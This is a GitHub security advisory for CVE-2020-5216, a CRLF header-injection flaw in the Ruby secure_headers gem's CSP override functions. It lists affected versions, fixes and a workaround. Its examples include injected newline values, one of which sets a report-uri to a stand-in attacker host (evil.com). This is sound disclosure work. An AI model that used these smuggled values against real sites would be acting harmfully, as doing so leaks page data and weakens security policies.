GitHub Advisoryadvisory · RubyGems

GHSA-w978-rmpf-qmwg Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

MEDIUM Published 2020-01-23 Modified 2023-05-16 Official page ↗
Aliases
CVE-2020-5216
Ecosystem
RubyGems
Packages
secure_headers
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
Weaknesses
CWE-113
Reviewed
2020-01-23

Affected packages

• RubyGems secure_headers: >= 6.0.0, < 6.3.0 → fixed in 6.3.0 • RubyGems secure_headers: >= 5.0.0, < 5.2.0 → fixed in 5.2.0 • RubyGems secure_headers: < 3.9.0 → fixed in 3.9.0

Description

Impact If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline. e.g. ```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ``` would result in ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ``` CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: ```ruby override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ``` Patches This has been fixed in 6.3.0, 5.2.0, and 3.9.0 Workarounds ```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ``` References https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c The effect of multiple policies For more information If you have any questions or comments about this advisory: • Open an issue in this repo • DM us at @ndm on twitter

Related

Alias · CVE (1)

  • CVE-2020-5216 In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. vulnerability

Weakness · CWE (1)

  • CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers weakness

References